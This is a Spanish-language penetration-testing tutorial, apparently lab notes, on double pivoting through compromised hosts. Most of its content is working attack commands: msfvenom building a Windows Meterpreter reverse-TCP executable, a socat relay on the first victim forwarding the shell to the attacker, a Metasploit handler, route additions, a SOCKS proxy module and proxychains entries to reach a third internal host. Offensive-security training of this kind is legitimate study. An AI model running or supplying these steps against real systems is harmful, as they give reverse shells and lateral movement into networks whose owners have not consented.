# Double Pivot

Tengamos en cuenta que ya estamos con un pivote creado, por lo que ya existe una conexión establecida.

Veamos este escenario:

Jugamos en el pivote anterior y nos dimos cuenta que el dispositivo al que entramos esta asigando a otra interfaz, es nueva para nosotros, pero no podemos verla desde nuestra máquina atacante, unicamente ella se ve con otros posibles dispositivos internamente conectados. NADA EXTERNO.

Hacemos escaneos juguetones y nos damos cuenta que existe otro dispositivo tambien con esa interfaz, por lo que se convierte en nuestro nuevo target.

* Atacante: **192.168.20.4**
* Victima1: **192.168.20.17** - *172.18.100.16*
* Victima2: *172.18.100.19* - `192.168.40.12`
* Victima3: `192.168.40.14`

Como hacemos para interactuar con esa ultima interfaz, veamos:

## Meterpreter Payload

Para "complicar" un poco las cosas, hagamos de cuenta que **Victima1** tiene un SO Windows, creemos una consola meterpreter:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.18.100.16 LPORT=4436 -f EXE -o metaprieta.exe
```

Subimos el archivo hasta la **Victima1**.

Despues subimos (si no lo tenemos ya) el binario `socat` a **Victima1**.

Como la consola meterpreter la esperaremos en nuestra máquina de atacante, no podemos ejecutar el archivo .exe y ya, ya que **Victima2** no tiene conexión con **Atacante**. Por ello usaremos a **Victima1** como puente para comunicar los dos dispositivos, todo esto generando puentes mediante `socat`.

## SOCAT

En **Victima1** indicamos que toda conexión que llegue contra el puerto 4436 la redirija hacia **Atacante** contra ese mismo puerto:

```bash
socat TCP-LISTEN:4436,fork TCP:192.168.20.4:4436
```

Antes de ejecutar el `.exe` debemos generar la escucha del meterpreter, usamos la consola de metasploit que ya tenemos:

## Meterpreter Shell

```bash
use /multi/handler
options
set LHOST 192.168.20.4
set LPORT 4436
set payload windows/meterpreter/reverse_tcp
run
```

Ejecutamos `.exe` y deberiamos obtener la reverse shell (:

## Routing

Para generar un tunel socks, practicamente es lo mismo que antes, enrutamos y generamos puente.

```bash
ipconfig
# Tomamos la IP a la cual queremos enrutar, Victima2 tiene 192.168.40.12,
#   esa se comunica con Victima3 (192.168.40.14), así que es la que necesitamos.
CTRL^z
# para enviar la tarea a segundo plano
Background session 3? [y/N] (le decimos: y)
```

```bash
route add 192.168.40.12 255.255.255.0 3
```

Y casi listo.

## SOCKS

Simplemente cambiamos el puerto donde residira el tunel:

```bash
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 2222
set VERSION 5
run
```

## Proxychains

Evitamos el final del archivo y agregamos el nuevo tunel:

```bash
cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111
socks5 127.0.0.1 2222
```
